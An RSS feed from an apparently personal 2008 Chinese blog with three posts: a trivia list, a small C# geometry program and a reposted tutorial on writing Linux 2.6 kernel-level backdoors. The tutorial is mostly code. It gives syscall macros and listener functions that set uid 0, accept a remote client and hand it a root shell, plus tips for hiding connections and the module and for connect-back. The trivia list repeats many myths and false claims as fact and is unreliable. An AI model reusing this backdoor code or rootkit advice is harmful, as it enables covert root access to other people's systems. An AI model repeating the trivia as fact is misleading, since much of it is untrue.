<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[Eche!on]]></title> 
<link>http://www.mefree.org/index.php</link> 
<description><![CDATA[for linux c++ php mysql]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[Eche!on]]></copyright>
<item>
<link>http://www.mefree.org/post/14/</link>
<title><![CDATA[99.999%的人都不知道的秘密]]></title> 
<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[some]]></category>
<pubDate>Thu, 02 Oct 2008 21:37:10 +0000</pubDate> 
<guid>http://www.mefree.org/post/14/</guid> 
<description>
<![CDATA[ 
	1.拉斯维加斯的赌场都没有钟表<br/>2.麦当劳40%的利润来自Happy Meals的销售。<br/>3.1996版的韦伯斯特词典有315处拼写错误。<br/>4.每天平均有12个新生儿被交给错误的父母。<br/>5.巧克力对于狗来说是致命的，只要几盎斯就可以使一只小狗，因为心脏和神经系统受损而死亡<br/>6.19世纪30年代番茄酱是作为药品来销售的。<br/>7.达芬奇可以一手写字，同时另一手作画。<br/>8.剪刀是达芬奇发明的。<br/>9.描绘蒙娜丽莎的嘴唇花费了达芬奇10年的时间。<br/>10.二战期间颁发的奥斯卡奖座是木制的，因为当时金属是稀缺物资。<br/>11.看看你的拉链，如果上面有YKK三个字母，那么说明这是全球最大的拉链制造商Yoshida Kogyo Kabushibibaisha的产品。<br/>12.李小龙的动作非常快，快到看不清，所以拍电影时只好放慢胶片的速度。<br/>13.仰面躺着并缓缓地抬起双腿，可以免于陷入流沙之中。<br/>14.驱蚊水并不驱蚊而是干扰蚊子的感觉器官，这样它们就找不到人在哪里。<br/>15.牙医建议，牙刷应放置于距离盥洗室至少6英尺远，以避开冲马桶时产生并漂浮于空气中的各种微粒 。<br/>16.最早被打上条形码的产品是箭牌口香糖。<br/>17.迈克尔.乔丹每年从耐克得到的收入多于马来西亚的耐克工厂工人的薪水总和。<br/>18.玛丽莲.梦露的一只脚上有6个指头。<br/>19.希特勒的母亲曾考虑堕胎，不过被医生劝阻了。<br/>20.一生中人会脱落40磅的皮肤。<br/>21.要是不小心被鳄鱼咬到了，你就狠狠地戳它的眼球，它会放你走。<br/>22.人平均只需7分钟就可以入睡。<br/>23.在菲律宾溜溜球曾被作为武器。<br/>24.猫是圣经里面唯一没有提到的家养动物。<br/>25.冷藏时橡皮筋可以保存得更好。<br/>26.56%的键盘录入由左手完成。<br/>27.”dreamt”是唯一以”mt”结尾的英文单词。<br/>28.即使没有头，蟑螂仍可存活10天 。<br/>29.打喷嚏时无法睁着眼睛。<br/>30.墨西哥城每年下沉10英寸。<br/>31.睡眠时的脑比看电视时更活跃。<br/>32.80%的美国人最喜欢蓝色。<br/>33.在这个星球上鸡比人多。<br/>34.大拇指的指甲长得最慢，中指的指甲长得最快。<br/>35.在美国华盛顿电话比人还多。<br/>36.48个最贫困的国家其资产总和还比不上全球最富有的三大家族。<br/>37.万宝路香烟公司的第一任老总死于肺癌。<br/>38.聪明人的头发中含有更多的锌和铜。<br/>39.世界上最年轻的父母是1910年一对中国的小孩，分别8岁和9岁。<br/>40.出生时，我们的眼睛多大，现在还是多大。但是鼻子和耳朵一直都在长。<br/>41.睡觉时耗费的热量比看电视时还要多。<br/>42.人不睡觉大约10天就会死亡。<br/>43.切洋葱时嚼口香糖就不会流泪。<br/>43.蒙娜丽莎没有眉毛。<br/>44.如果月亮正好在头顶上方，那么你的体重会稍微的减少。<br/>45.发明了电话的亚历山大.贝尔从未给他的母亲或妻子打过电话，因为她们都失聪了。<br/>47.”I am.”是英语中最短的完整句。<br/>48.如同指纹，每个人的舌纹都不同。<br/>49.”bookkeeper”是英语中唯一一个连续3次重复字母的单词。<br/>50.惯用右手的人们平均比惯用左手的人们寿命长9年。<br/>51.”The quick brown fox jumps over the lazy dog”用到了英语中所有的字母。<br/>52.如果所有的中国人排成一线从你面前走过，由于过高的出生率，这条线将永远没有尽头。<br/>53.在中国使用英语的人比美国还多。<br/>54.人体每平方英寸的皮肤包含有20英尺长的血管。<br/>55.人平均每天使用洗手间6次。<br/>56.婴儿出生时有300块骨骼，成人后只有206块。<br/>57.胡须是生长速度最快的人体毛发。如果一名男性从不修容，终其一生他将蓄出30英尺长 的胡须<br/>58.先有鸡还是先有蛋？根据《圣经 创世纪 1:20-22》，先有鸡。<br/>59.仍在使用的最长的地名是：Taumatawhakatangihangaoauauotameteaturi-<br/>Pukakpikimaungahoronukupokaiwhenuakitanatahu，那是新西兰的一处丘陵。<br/>60.如果你早上7点乘坐飞机离开东京，那么当你到达檀香山的时候，时间是昨天下午4点半。<br/>61.澳大利亚帕凯斯天文台的科学家们曾以为他们接收到了来自地外文明的电波，经过调查，发现那道电波其实来自天文台里的一个微波炉。<br/>62.戴耳塞一小时，耳朵里的细菌数量将是原来的700倍。<br/>63.一个French kiss可以交换超过40000个寄生虫和250种细菌。<br/>64.男性较女性视力好，女性较男性听力好。<br/>65.可口可乐最初是绿色的。<br/>66.世界上最常见的名字是：穆罕默德。<br/>67.如果不把”north”和”south”算在内，在英语中，七大州的首尾字母都相同。<br/>68.平均每个美国人有两张信用卡。<br/>69.”无效writer”是用QWERTY键盘的单排按键所能够写出的最长英文单词。<br/>70.失明的女性是男性的两倍。<br/>71.人不会因为屏息而死。<br/>72.当你打喷嚏的时候，你的心脏会停止跳动约1毫秒。<br/>73.猪无法看到天空。<br/>74.”Sixth sick sheik’s sixth sheep’s sick”是英语中最绕口的绕口令。<br/>75.过于剧烈的喷嚏会震裂肋骨，而试图憋住喷嚏将使颈部或者颅内的血管破裂从而致命。<br/>76.扑克牌中每个花色的K都代表着历史上的伟大君王：黑桃是大卫王，梅花是亚历山大大帝，红桃是查理大帝，方块是凯撒大帝。<br/>77.111,111,111 x 111,111,111 = 12,345,678,987,654,321。<br/>78.当你看到一尊骑士的雕像，如果马是四脚腾空的，那么此人战死沙场。<br/>79.同上，如果马的一只前脚抬起，那么此人因在战斗中负重伤而牺牲。<br/>80.同上，如果马的四脚皆着地，那么此人死于自然原因。<br/>81.蜂蜜不会变质。<br/>82.鳄鱼无法伸出它的舌头。<br/>83.蜗牛一觉可以睡上3年。<br/>84.所有的北极熊都是左撇子。<br/>85.1987年，美国航空公司在向头等舱提供的每份沙拉中，减少1颗橄榄，从而节省了40000 美元。<br/>86.蝴蝶的味觉器官在它们的脚上。<br/>87.大象跳不起来。<br/>88.在过去的4000年里，没有新的动物被驯养。<br/>89.一般来说，人们害怕蜘蛛胜过死亡。<br/>90.”assassination”和”bump”这两个词是莎士比亚创造的。
]]>
</description>
</item><item>
<link>http://www.mefree.org/post/13/</link>
<title><![CDATA[计算圆,及其内外接正方形面积]]></title> 
<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[C#]]></category>
<pubDate>Sun, 28 Sep 2008 19:11:41 +0000</pubDate> 
<guid>http://www.mefree.org/post/13/</guid> 
<description>
<![CDATA[ 
	<br/>using System;<br/>using System.Collections.Generic;<br/>using System.Text;<br/><br/>namespace s_yuan<br/>&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;class Program<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; static void Main(string[] args)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;double s,s1,s2,r;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;const double PI = 3.1415;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string x;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("-=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C#求圆,其内接,外接正方形面积(s,s1,s2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-=");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.Write("请输入圆的半径 r=");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r = Double.Parse(Console.ReadLine());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s = PI * r * r;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s1 = 2 * r * r;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s2 = 4 * r * r;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("圆面积:&#123;0&#125;", s, s1, s2);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("圆内接正方形面积:&#123;1&#125;", s, s1, s2);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("圆外接正方形面积:&#123;2&#125;", s, s1, s2);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.Write("[Go on ?&nbsp;&nbsp;Y/N]:");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x = (Console.ReadLine());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;while (x == "y");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("End!!!");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.ReadLine();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&#125;
]]>
</description>
</item><item>
<link>http://www.mefree.org/post/12/</link>
<title><![CDATA[抒写Linux 2.6.x下内核级后门程序]]></title> 
<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[hack]]></category>
<pubDate>Sun, 28 Sep 2008 18:59:16 +0000</pubDate> 
<guid>http://www.mefree.org/post/12/</guid> 
<description>
<![CDATA[ 
	Author: wzt<br/>EMail: wzt@xsec.org<br/>Site: http://www.xsec.org & hhtp://hi.baidu.com/wzt85<br/>Date: 2008-8-29<br/><br/>一. 内核后门简介<br/>二. 内核中系统调用<br/>三. 使用kernel mode socket函数<br/>四. 如何扩展后门<br/>五. 参考资料<br/>六. 相关源代码<br/><br/>一. 内核后门简介<br/><br/>所谓内核后门， 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽，性质跟ring3下的后门一样，只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功能，有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强的'root-kit'.<br/>本文只介绍2种实现内核后门的基本方法，如果您有更好的方法，还请多多指教。<br/><br/>二. 内核中系统调用<br/><br/>Unix 世界中一切皆文件的思想将socket通信变的简单的多，通常我们直接可以用read，write等api函数作为socket通信的方法，这些api函数最终都会调用kernel提供的sys_XXX系列函数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int 0x80来执行sys_read函数，如：<br/><br/>int my_read(int fd, char * buf, off_t count)<br/>&#123;<br/>long __res;<br/><br/>__asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"<br/><br/>: "=a" (__res)<br/>: "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf),<br/>"d" ((long)(count)) :"memory");<br/><br/>return (int)(__res);<br/>&#125;<br/><br/>这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号，ebx，ecx，edx依次存入read函数的参数。最后执行一个int $0x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能， 就必须调用某些函数来进行socket通信。本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。<br/><br/>通过上面的例子，我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中，这样在内核空间执行系统调用感觉效率会很低，但是对我们来说，编写程序将会非常的方便。著名的sk rookti就是用这种方式来进行通讯的。<br/><br/>linux内核提供了很多个不同的系统调用，我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏：<br/><br/>#define my__syscall_return(type, res) &#92;<br/>do &#123; &#92;<br/>if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) &#123; &#92;<br/>errno = -(res); &#92;<br/>res = -1; &#92;<br/>&#125; &#92;<br/>return (type) (res); &#92;<br/>&#125; while (0)<br/><br/>#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) &#92;<br/>type name(type1 arg1,type2 arg2,type3 arg3) &#92;<br/>&#123; &#92;<br/>long __res; &#92;<br/>__asm__ volatile ("push %%ebx ; int $0x80 ; pop %%ebx" &#92;<br/>: "=a" (__res) &#92;<br/>: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), &#92;<br/>"d" ((long)(arg3)) : "memory"); &#92;<br/>my__syscall_return(type,__res); &#92;<br/>&#125;<br/><br/>my_syscall3代表这个系统调用有3个参数，以read系统调用为例，我们可以在内核空间中这样使用它：<br/>static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);<br/><br/>编译的时候就会被展开成:<br/><br/>int read(int fd, char * buf, off_t count) &#92;<br/>&#123; &#92;<br/>long __res; &#92;<br/><br/>__asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"&#92;<br/><br/>: "=a" (__res) &#92;<br/>: "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf), &#92;<br/>"d" ((long)(count)) :"memory"); &#92;<br/><br/>return (int)(__res);&#92;<br/>&#125;<br/><br/>本文后面将会给出比较全面的宏，通过这些宏，可以在内核中随意的使用系统调用。<br/><br/>好了，现在可以使用read, write, select等系统调用在内核空间收发信息了。 但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢？其实这些socket函数都是通过执行sys_socketall系统调用来实现的：<br/><br/>linux-2.6.18/net/socket.c<br/><br/>asmlinkage long sys_socketcall(int call, unsigned long __user *args)<br/>&#123;<br/>unsigned long a[6];<br/>unsigned long a0,a1;<br/>int err;<br/><br/>...<br/><br/>a0=a[0];<br/>a1=a[1];<br/><br/>switch(call)<br/>&#123;<br/>case SYS_SOCKET:<br/>err = sys_socket(a0,a1,a[2]);<br/>break;<br/>case SYS_BIND:<br/>err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);<br/>break;<br/>case SYS_CONNECT:<br/>err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);<br/>break;<br/>case SYS_LISTEN:<br/>err = sys_listen(a0,a1);<br/>break;<br/>case SYS_SOCKETPAIR:<br/>err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);<br/>break;<br/>case SYS_SEND:<br/>err = sys_send(a0, (void __user *)a1, a[2], a[3]);<br/>break;<br/>...<br/>&#125;<br/><br/>通过向sys_socketcall函数2个参数来执行具体的函数调用，参数call一般为SYS_SOCKET, SYS_BIND等，args是一个数组，通过向这个数组的每个元素赋值，来调用不同的函数。以bind这个函数为例，可以这样调用：<br/><br/>struct sockaddr_in cli_addr;<br/>unsigned long args[];<br/><br/>args[0] = sock_fd;<br/>args[1] = (unsigned long)cli_addr;<br/>args[2] = (unsigned long)sizeof(struct sockaddr_in);<br/><br/>sys_socketcall(SYS_BIND, args);<br/><br/>其他函数类似。这样就可以在内核中来使用这些socket函数了。<br/><br/>下面给出一个具体的监听某一个端口的例子：<br/>int k_listen(int port)<br/>&#123;<br/>struct task_struct *tsk = current;<br/>struct sockaddr_in serv_addr;<br/>struct sockaddr_in cli_addr;<br/>mm_segment_t old_fs;<br/>char buff[100];<br/><br/>unsigned long arg[3];<br/>int sock_fd, sock_id;<br/>int tmp_kid;<br/>int i, n, cli_len;<br/><br/>old_fs = get_fs();<br/><br/>tsk->uid = 0;<br/>tsk->euid = 0;<br/>tsk->gid = SGID;<br/>tsk->egid = 0;<br/><br/>/* create socket */<br/>arg[0] = AF_INET;<br/>arg[1] = SOCK_STREAM;<br/>arg[2] = 0;<br/><br/>set_fs(KERNEL_DS);<br/><br/>ssetmask(~0);<br/><br/>for (i=0; i < 4096; i++)<br/>close(i);<br/><br/>if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) &#123;<br/>set_fs(old_fs);<br/><br/>return 0;<br/>&#125;<br/>printk("create socket ok.&#92;n");<br/><br/>/* bind address */<br/>memset((void *) &serv_addr, 0, sizeof(serv_addr));<br/><br/>serv_addr.sin_family = AF_INET;<br/>serv_addr.sin_port = htons(port);<br/>serv_addr.sin_addr.s_addr = 0;<br/><br/>arg[0] = sock_fd;<br/>arg[1] = (unsigned long) &serv_addr;<br/>arg[2] = (unsigned long) sizeof(serv_addr);<br/><br/>if ((socketcall(SYS_BIND, arg)) == -1) &#123;<br/>close(sock_fd);<br/>set_fs(old_fs);<br/><br/>return 0;<br/>&#125;<br/>printk("bind address ok.&#92;n");<br/><br/>/* begin listen */<br/>arg[0] = sock_fd;<br/>arg[1] = (unsigned long) 255;<br/><br/>if ((socketcall(SYS_LISTEN, arg)) == -1) &#123;<br/>close(sock_fd);<br/>set_fs(old_fs);<br/><br/>return 0;<br/>&#125;<br/>printk("listen on port %d&#92;n", port);<br/><br/>cli_len = sizeof(cli_addr);<br/>arg[0] = sock_fd;<br/>arg[1] = (unsigned long) &cli_addr;<br/>arg[2] = (unsigned long) &cli_len;<br/><br/>if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) &#123;<br/>printk("accept error.&#92;n");<br/><br/>close(sock_fd);<br/>set_fs(old_fs);<br/><br/>return 0;<br/>&#125;<br/>printk("accept a client.&#92;n");<br/><br/>dup2(sock_id, 0);<br/>dup2(sock_id, 1);<br/>dup2(sock_id, 2);<br/><br/>execve(earg[0], (const char **) earg, (const char **) env);<br/><br/>close(sock_id);<br/>close(sock_fd);<br/>set_fs(old_fs);<br/><br/>return 1;<br/>&#125;<br/><br/>三．使用kernel mode socket函数<br/><br/>前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用内核socket函数来进行通讯。我们去看看kernel mode socket是怎么在内核中实现的，同样在linux-2.6.18/net/socket.c中：<br/><br/>在user mode socket中的socket函数的功能是建立个套接字，它是调用sys_socket函数来实现的，因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的：<br/><br/>asmlinkage long sys_socket(int family, int type, int protocol)<br/>&#123;<br/>int retval;<br/>struct socket *sock;<br/><br/>retval = sock_create(family, type, protocol, &sock);<br/>if (retval < 0)<br/>goto out;<br/><br/>retval = sock_map_fd(sock);<br/>if (retval < 0)<br/>goto out_release;<br/><br/>out:<br/><br/>return retval;<br/><br/>out_release:<br/>sock_release(sock);<br/>return retval;<br/>&#125;<br/><br/>关键就2个函数，sock_create()来初始化一个struct socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符。有兴趣的读者可以继续深入这些函数，看看它的具体实现细节。在这里我们只关心最上层的这2个函数。因为我们要在自己的模块中调用它们。同样对于 sys_bind, sys_listen等，我们用同样的办法来处理。有了源代码，看它们怎么实现，我们就怎么实现。<br/><br/>下面给出一个监听某端口的例子：<br/><br/>int k_listen(void)<br/>&#123;<br/>struct socket *sock,*newsock;<br/>struct sockaddr_in server;<br/>struct sockaddr client[128];<br/>char address[128];<br/>int sockfd, sockid, i,size = 0;<br/>int error = 0,len = sizeof(struct sockaddr);<br/><br/>//set_fs(KERNEL_DS);<br/><br/>error = sock_create(AF_INET,SOCK_STREAM,0,&sock);<br/>if (error < 0) &#123;<br/>printk("[-] socket_create failed: %d&#92;n",error);<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/><br/>sockfd = sock_map_fd(sock);<br/>if (sockfd < 0) &#123;<br/>printk("[-] sock_map_fd() failed.&#92;n");<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/><br/>for (i = 0; i < 8; i++)<br/>server.sin_zero[i] = 0;<br/><br/>server.sin_family = PF_INET;<br/>server.sin_addr.s_addr = INADDR_ANY;<br/>server.sin_port = htons(port);<br/><br/>error = security_socket_bind(sock,(struct sockaddr *)&server,len);<br/>if (!error) &#123;<br/>error = sock->ops->bind(sock,(struct sockaddr *)&server,len);<br/><br/>if (error < 0) &#123;<br/>printk("[-] unix_bind() failed.&#92;n");<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/><br/>&#125;<br/><br/>error = sock->ops->listen(sock,5);<br/>if (error < 0) &#123;<br/>printk("[-] unix_listen failed.&#92;n");<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/>printk("[+] listen port %d ok.&#92;n",port);<br/><br/>if (!(newsock = sock_alloc())) &#123;<br/>printk("[-] sock_alloc() failed.&#92;n");<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/><br/>newsock->type = sock->type;<br/>newsock->ops = sock->ops;<br/><br/>printk("[+] waiting for a client.&#92;n");<br/><br/>if (newsock->ops->accept) &#123;<br/>error = security_socket_accept(sock,newsock);<br/>if (error < 0)<br/>goto out_release;<br/><br/>if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) &#123;<br/>printk("[-] accept got a signal.&#92;n");<br/>goto out_release;<br/>&#125;<br/>else if (error < 0) &#123;<br/>printk("[-] unix_accept failed.&#92;n");<br/>goto out_release;<br/>&#125;<br/><br/>if (newsock->ops->getname(newsock,client,&len,1) < 0)<br/>goto out_release;<br/><br/>security_socket_post_accept(sock,newsock);<br/><br/>sockid = sock_map_fd(newsock);<br/>if (sockid < 0) &#123;<br/>printk("[-] sock_map_fd() failed.&#92;n");<br/>sock_release(newsock);<br/>return -1;<br/>&#125;<br/><br/>printk("[+] accept a client.&#92;n");<br/><br/>kshell(sockid);<br/>&#125;<br/><br/>return 1;<br/><br/>out_release:<br/>sock_release(sock);<br/>sock_release(newsock);<br/><br/>return 0;<br/>&#125;<br/><br/>四. 如何扩展后门<br/><br/>如果费这么大力气在内核中就实现了这么简单的功能，还不如在用户空间实现。<br/>问题关键是我们现在在内核中，只要对内核有足够的了解，还有什么不能实现的呢？<br/>内核源码在手，能做什么,就看你的想象力了。首先是加上一些常用的rookit技巧，如隐藏网络连接，hack下tcp4_seq_show就行了，隐藏模块list_del一下就行了。为了控制方便，加个pty支持吧。再牛的搞个端口复用吧。想嗅探启动吗？用netfilter过滤下就行了。<br/><br/>下面说说编写更高级后门时需要注意的一些地方：<br/><br/>1. 现在你在内核中，就要考虑并发和竞态的问题，给临界区加个锁或信号量是不错的选择。<br/><br/>2. 如果你想做一个定时回连的后门，请不要使用内核定时器。它的执行函数是在原子方式下执行的，也就是这个时候你不能去访问用户空间的东西，如果引起了休眠，内核可能就oops了。你可以使用 schedule_timeout()让当前模块休息几秒，当调度程序把它调度回来的时候在尝试一次回连的操作，就不会有问题了。<br/><br/>五. 参考资料<br/><br/>[1] Linux kernel source code<br/>http://www.kernel.org<br/><br/>[2] sk1.3-b source code – sd<br/>http://sd.g-art.nl/sk<br/><br/>[3] enyelkm 1.2 - RaiSe && David Reguera<br/>http://www.enye-sec.org<br/><br/>[4] wnps-2.26 – wzt<br/>http://hi.baidu.com/wzt85<br/><br/>六. 相关源代码<br/><br/>Syscalls.h<br/><br/>/* macros de syscalls */<br/><br/>int errno;<br/><br/>#define my__syscall_return(type, res) &#92;<br/>do &#123; &#92;<br/>if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) &#123; &#92;<br/>errno = -(res); &#92;<br/>res = -1; &#92;<br/>&#125; &#92;<br/>return (type) (res); &#92;<br/>&#125; while (0)<br/><br/>/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */<br/>#define my_syscall0(type,name) &#92;<br/>type name(void) &#92;<br/>&#123; &#92;<br/>long __res; &#92;<br/>__asm__ volatile ("int $0x80" &#92;<br/>: "=a" (__res) &#92;<br/>: "0" (__NR_##name)); &#92;<br/>my__syscall_return(type,__res); &#92;<br/>&#125;<br/><br/>#define my_syscall1(type,name,type1,arg1) &#92;<br/>type name(type1 arg1) &#92;<br/>&#123; &#92;<br/>long __res; &#92;<br/>__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" &#92;<br/>: "=a" (__res) &#92;<br/>: "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); &#92;<br/>my__syscall_return(type,__res); &#92;<br/>&#125;<br/><br/>#define my_syscall2(type,name,type1,arg1,type2,arg2) &#92;<br/>type name(type1 arg1,type2 arg2) &#92;<br/>&#123; &#92;<br/>long __res; &#92;<br/>__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" &#92;<br/>: "=a" (__res) &#92;<br/>: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) &#92;<br/>: "memory"); &#92;<br/>my__syscall_return(type,__res); &#92;<br/>&#125;<br/><br/>#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) &#92;<br/>type name(type1 arg1,type2 arg2,type3 arg3) &#92;<br/>&#123; &#92;<br/>long __res; &#92;<br/>__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" &#92;<br/>: "=a" (__res) &#92;<br/>: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), &#92;<br/>"d" ((long)(arg3)) : "memory"); &#92;<br/>my__syscall_return(type,__res); &#92;<br/>&#125;<br/><br/>#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) &#92;<br/>type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) &#92;<br/>&#123; &#92;<br/>long __res; &#92;<br/>__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" &#92;<br/>: "=a" (__res) &#92;<br/>: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), &#92;<br/>"d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); &#92;<br/>my__syscall_return(type,__res); &#92;<br/>&#125;<br/><br/>#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, &#92;<br/>type5,arg5) &#92;<br/>type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) 